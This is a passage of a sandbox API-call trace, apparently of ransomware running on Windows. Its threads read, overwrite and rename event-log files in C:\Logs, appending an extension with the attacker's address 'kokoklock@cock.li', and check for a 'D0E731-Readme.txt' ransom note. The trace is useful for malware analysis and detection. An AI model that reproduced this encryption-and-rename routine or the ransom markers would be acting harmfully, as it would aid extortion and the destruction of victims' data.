[0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x65d2d9ba [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x4ebc253d [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x382e0cf9 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x9b8cc938 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x321f4d6e [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x10186df0 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xba1596ba [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x9eeec3b4 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x484ad27a [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xd259ef21 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xe542bf01 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xee792754 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x93e9f3b3 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x9cfe57e1 [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0x2e13d31d [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xaeb5af2a [0060.534] RtlRandom (in: Seed=0x6eaf8a0 | out: Seed=0x6eaf8a0) returned 0xe943f300 [0060.543] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c4a60 [0060.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d50 [0060.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0060.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.545] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.545] ReadFile (in: hFile=0x5b4, lpBuffer=0x34798d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6eaf86c, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesRead=0x6eaf86c*=0x4096, lpOverlapped=0x0) returned 1 [0060.546] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c4a60 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.546] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4da0 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4da0) returned 1 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6eaf86c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x6eaf86c*=0x4096, lpOverlapped=0x0) returned 1 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.547] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4e18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6eaf8a4, lpOverlapped=0x0 | out: lpBuffer=0x33e4e18*, lpNumberOfBytesWritten=0x6eaf8a4*=0x20, lpOverlapped=0x0) returned 1 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e18) returned 1 [0060.547] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x33e4d50*, lpNumberOfBytesWritten=0x6eaf8b8*=0x8, lpOverlapped=0x0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x6eaf8d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x6eaf8d0*, lpNumberOfBytesWritten=0x6eaf8b8*=0x4, lpOverlapped=0x0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6eaf8b8*=0x4, lpOverlapped=0x0) returned 1 [0060.547] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6eaf8b8*=0x6c, lpOverlapped=0x0) returned 1 [0060.548] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x33e4e68*, lpNumberOfBytesWritten=0x6eaf8b8*=0x20, lpOverlapped=0x0) returned 1 [0060.548] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eaf8b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6eaf8b8*=0x4, lpOverlapped=0x0) returned 1 [0060.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d50) returned 1 [0060.548] CloseHandle (hObject=0x5b4) returned 1 [0060.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33c3a58 [0060.551] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Logs\\HardwareEvents.evtx" | out: _Dest="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx" [0060.551] wcscat (in: _Dest=0x33c3a58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" [0060.551] MoveFileW (lpExistingFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), lpNewFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\hardwareevents.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.552] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.552] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx", dwFileAttributes=0x20) returned 0 [0060.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433da8 [0060.552] wcscpy (in: _Dest=0x3433da8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.552] wcscat (in: _Dest=0x3433da8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.552] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433da8) returned 1 [0060.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e00d8) returned 1 [0060.552] RtlExitUserThread (Status=0x1) Thread: id = 70 os_tid = 0x46c [0060.554] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0060.554] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx", dwFileAttributes=0x20) returned 1 [0060.554] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0060.554] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x6f2f874 | out: lpFileSize=0x6f2f874*=69632) returned 1 [0060.554] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.554] ReadFile (in: hFile=0x5b4, lpBuffer=0x6f2f848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x6f2f848*, lpNumberOfBytesRead=0x6f2f844*=0x4, lpOverlapped=0x0) returned 1 [0060.556] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ee0 [0060.556] NtQuerySystemTime (in: CurrentTime=0x6f2f820 | out: CurrentTime=0x6f2f820*=132121176184457487) returned 0x0 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x8db7ce22 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x5d6e4546 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xf40ae4d2 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x9fe92c60 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xbea4f15f [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x61443b8e [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xf4a16c5d [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x50e333a0 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x88309e4 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x65aa761b [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x76606687 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xc6d189ef [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x686568b5 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x2b1eef13 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x75d6eadf [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xd268ddb6 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x62e92538 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xb6254894 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x4b4793cf [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xc8692153 [0060.556] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x6a93d11f [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xe14c6aac [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x3f0d3122 [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xede7441d [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x2510620 [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xbac1beed [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x22a9638e [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xabd2b3f2 [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x11460d5d [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0x1edd67f8 [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xf0859f50 [0060.557] RtlRandom (in: Seed=0x6f2f82c | out: Seed=0x6f2f82c) returned 0xb8aa94a [0060.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.567] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.567] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.567] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.568] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6f2f7f8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x6f2f7f8*=0x4096, lpOverlapped=0x0) returned 1 [0060.568] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0060.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d00 [0060.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0060.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.569] WriteFile (in: hFile=0x5b4, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6f2f7f8, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x6f2f7f8*=0x4096, lpOverlapped=0x0) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.570] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4d00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6f2f830, lpOverlapped=0x0 | out: lpBuffer=0x33e4d00*, lpNumberOfBytesWritten=0x6f2f830*=0x20, lpOverlapped=0x0) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d00) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x33e4e18*, lpNumberOfBytesWritten=0x6f2f844*=0x8, lpOverlapped=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x6f2f85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x6f2f85c*, lpNumberOfBytesWritten=0x6f2f844*=0x4, lpOverlapped=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6f2f844*=0x4, lpOverlapped=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6f2f844*=0x6c, lpOverlapped=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x33e4e68*, lpNumberOfBytesWritten=0x6f2f844*=0x20, lpOverlapped=0x0) returned 1 [0060.570] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f2f844, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6f2f844*=0x4, lpOverlapped=0x0) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e18) returned 1 [0060.571] CloseHandle (hObject=0x5b4) returned 1 [0060.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x33c3a58 [0060.573] wcscpy (in: _Dest=0x33c3a58, _Source="C:\\Logs\\Internet Explorer.evtx" | out: _Dest="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx" [0060.574] wcscat (in: _Dest=0x33c3a58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" [0060.574] MoveFileW (lpExistingFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), lpNewFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\internet explorer.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.576] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.576] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx", dwFileAttributes=0x20) returned 0 [0060.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0060.576] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.576] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.576] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0060.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd4c0) returned 1 [0060.576] RtlExitUserThread (Status=0x1) Thread: id = 71 os_tid = 0xa78 [0060.568] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0060.571] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx", dwFileAttributes=0x20) returned 1 [0060.577] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.577] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x6faf73c | out: lpFileSize=0x6faf73c*=69632) returned 1 [0060.577] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.577] ReadFile (in: hFile=0x5b0, lpBuffer=0x6faf710, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x6faf710*, lpNumberOfBytesRead=0x6faf70c*=0x4, lpOverlapped=0x0) returned 1 [0060.579] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d00 [0060.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.579] NtQuerySystemTime (in: CurrentTime=0x6faf6e8 | out: CurrentTime=0x6faf6e8*=132121176184769777) returned 0x0 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x1fc6a4ec [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xee9f254b [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x4e8afc2d [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xf25f9a3d [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x9453ab79 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xf654aff0 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x7272c4d [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x1568db46 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x747e78e9 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x8a8b8252 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xfea0d0e9 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xe94f0d2c [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xfa44398 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xce6fac2d [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xab8f6524 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xea0a3d6d [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x70327d88 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xaa813b0c [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x24a4a421 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x2b5723d6 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xe5becac1 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x7b050c0e [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xa5fd56b0 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xacc84f5e [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x697f14d2 [0060.579] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x9bd88154 [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xb43c855d [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xfeade596 [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x62f72d79 [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0xb8079fcd [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x176d4649 [0060.580] RtlRandom (in: Seed=0x6faf6f4 | out: Seed=0x6faf6f4) returned 0x7de8dc06 [0060.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e40 [0060.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0060.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4cb0 [0060.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0060.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d00) returned 1 [0060.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.590] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.590] ReadFile (in: hFile=0x5b0, 